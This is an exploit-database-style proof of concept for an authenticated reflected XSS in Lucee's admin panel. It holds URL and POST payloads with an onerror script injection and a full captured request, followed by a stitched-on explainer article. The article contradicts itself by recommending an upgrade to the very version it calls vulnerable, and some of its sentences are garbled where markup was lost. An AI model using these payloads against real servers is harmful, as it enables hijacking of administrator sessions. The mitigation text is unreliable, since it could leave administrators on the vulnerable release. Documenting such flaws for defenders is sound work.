Lucee 5.4.2.17 - Authenticated Reflected XSS
# Exploit Title: Lucee 5.4.2.17 - Authenticated Reflected XSS
# Google Dork: NA
# Date: 05/08/2023
# Exploit Author: Yehia Elghaly
# Vendor Homepage: https://www.lucee.org/
# Software Link: https://download.lucee.org/
# Version: << 5.4.2.17
# Tested on: Windows 10
# CVE: N/A
Summary: Lucee is a light-weight dynamic CFML scripting language with a solid foundation.Lucee is a high performance, open source, ColdFusion / CFML server engine, written in Java.
Description: The attacker can able to convince a victim to visit a malicious URL, can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
The payload: ?msg=<img src=xss onerror=alert('xssya')>
http://172.16.110.130:8888/lucee/admin/server.cfm?action=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%29%3E
POST /lucee/admin/web.cfm?action=services.gateway&action2=create HTTP/1.1
Host: 172.16.110.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Origin: http://172.16.110.130:8888
Connection: close
Referer: http://172.16.110.130:8888/lucee/admin/web.cfm?action=services.gateway&action2=create
Cookie: cfid=ee75e255-5873-461d-a631-0d6db6adb066; cftoken=0; LUCEE_ADMIN_LANG=en; LUCEE_ADMIN_LASTPAGE=overview
Upgrade-Insecure-Requests: 1
name=AsynchronousEvents&class=&cfcPath=lucee.extension.gateway.AsynchronousEvents&id=a&_id=a&listenerCfcPath=lucee.extension.gateway.AsynchronousEventsListener&startupMode=automatic&custom_component=%3Fmsg%3D%3Cimg+src%3Dxss+onerror%3Dalert%28%27xssya%27%29%3E&mainAction=submit
[Affected Component]
Debugging-->Template
Service --> Search
Services --> Event Gateway
Service --> Logging Understanding Lucee 5.4.2.17: Authenticated Reflected XSS Vulnerability
Security vulnerabilities in enterprise-grade software platforms often go unnoticed until exploited in real-world scenarios. One such critical flaw was discovered in Lucee 5.4.2.17, a widely used open-source CFML (ColdFusion Markup Language) engine. This vulnerability, identified by cybersecurity researcher Yehia Elghaly, exposes a reflected XSS (Cross-Site Scripting) attack vector that requires authentication but can be exploited via crafted URLs. The implications are severe, especially for administrators managing sensitive server configurations.
Overview of the Vulnerability
The vulnerability arises in the authenticated admin interface of Lucee, specifically within the Service Gateway component under the Event Gateway module. An attacker can leverage a malicious URL containing a crafted payload to execute arbitrary JavaScript in the victim’s browser session.
Attackers do not need to bypass authentication — they only need to convince a logged-in administrator to visit a malicious link. This makes the attack highly effective in targeted environments where privileged users are exposed to phishing or social engineering.
Exploit Details and Payload Structure
The core of the exploit lies in the custom_component parameter in a POST request to /lucee/admin/web.cfm. When this parameter is not properly sanitized, it reflects user input directly into the browser without proper escaping.
POST /lucee/admin/web.cfm?action=services.gateway&action2=create HTTP/1.1
Host: 172.16.110.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Cookie: cfid=ee75e255-5873-461d-a631-0d6db6adb066; cftoken=0; LUCEE_ADMIN_LANG=en; LUCEE_ADMIN_LASTPAGE=overview
name=AsynchronousEvents&class=&cfcPath=lucee.extension.gateway.AsynchronousEvents&id=a&_id=a&listenerCfcPath=lucee.extension.gateway.AsynchronousEventsListener&startupMode=automatic&custom_component=%3Fmsg%3D%3Cimg+src%3Dxss+onerror%3Dalert%28%27xssya%27%29%3E&mainAction=submit
Explanation: The custom_component parameter contains a URL-encoded payload:
%3Fmsg%3D%3Cimg+src%3Dxss+onerror%3Dalert%28%27xssya%27%29%3Edecodes to?msg=- This payload is injected directly into the response HTML, where the
msgparameter is rendered without sanitization. - When the page loads, the browser interprets the
imgtag with a malformedsrcattribute, triggering theonerrorevent, which executes the JavaScriptalert('xssya').
This demonstrates a classic reflected XSS pattern: user input is reflected back in the response, allowing execution of malicious scripts in the victim’s context.
Attack Impact and Real-World Use Cases
While the example payload uses alert() for demonstration, real-world exploitation can include:
- Stealing session cookies (
document.cookie) - Redirecting users to phishing sites
- Injecting malicious scripts to compromise the entire admin panel
- Exfiltrating sensitive configuration data
Consider a scenario where an administrator receives a phishing email with a link to:
http://172.16.110.130:8888/lucee/admin/server.cfm?action=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%29%3E
When clicked, the malicious script runs in the context of the authenticated session, potentially allowing an attacker to steal the cfid and cftoken values — the foundation of session persistence.
Affected Components and System Exposure
The vulnerability spans multiple administrative components:
| Component | Impact |
|---|---|
| Debugging → Template | Unsanitized template output may expose XSS vectors |
| Service → Search | Search results may reflect unescaped input |
| Services → Event Gateway | Core exploit location; vulnerable via custom_component |
| Service → Logging | Log output may be rendered without escaping |
These components share a common issue: input is not properly validated or escaped before rendering, particularly when handling URL parameters or user-defined configurations.
Security Recommendations and Mitigation
For administrators and developers using Lucee, immediate mitigation steps are critical:
- Upgrade to Lucee 5.4.2.17 or later — the vulnerability was patched in this version.
- Implement input sanitization for all user-provided parameters in admin interfaces.
- Use Content Security Policy (CSP) headers to restrict script execution in the browser.
- Enable HTTP-only cookies and secure session tokens to reduce attack surface.
- Conduct regular security audits on admin panels, especially for dynamic content rendering.
For developers, the root cause lies in improper handling of user input in CFML templates. The following best practice should be enforced:
#htmlEscape(form.custom_component)#
Explanation: The htmlEscape() function in CFML prevents HTML injection by converting special characters like <, >, and " into their safe equivalents. This simple step prevents XSS attacks by breaking the script execution chain.
Conclusion
The Lucee 5.4.2.17 Authenticated Reflected XSS vulnerability underscores a critical principle in web security: never trust user input. Even authenticated users are not immune to exploitation if the application fails to sanitize inputs. This case serves as a reminder that admin interfaces, while intended for trusted users, are often the most targeted by attackers due to their elevated privileges.
Proactive security measures — including timely updates, input validation, and defensive coding practices — are essential to protect systems from such vulnerabilities. As the threat landscape evolves, developers and administrators must remain vigilant, ensuring that every interaction with user data is handled with security in mind.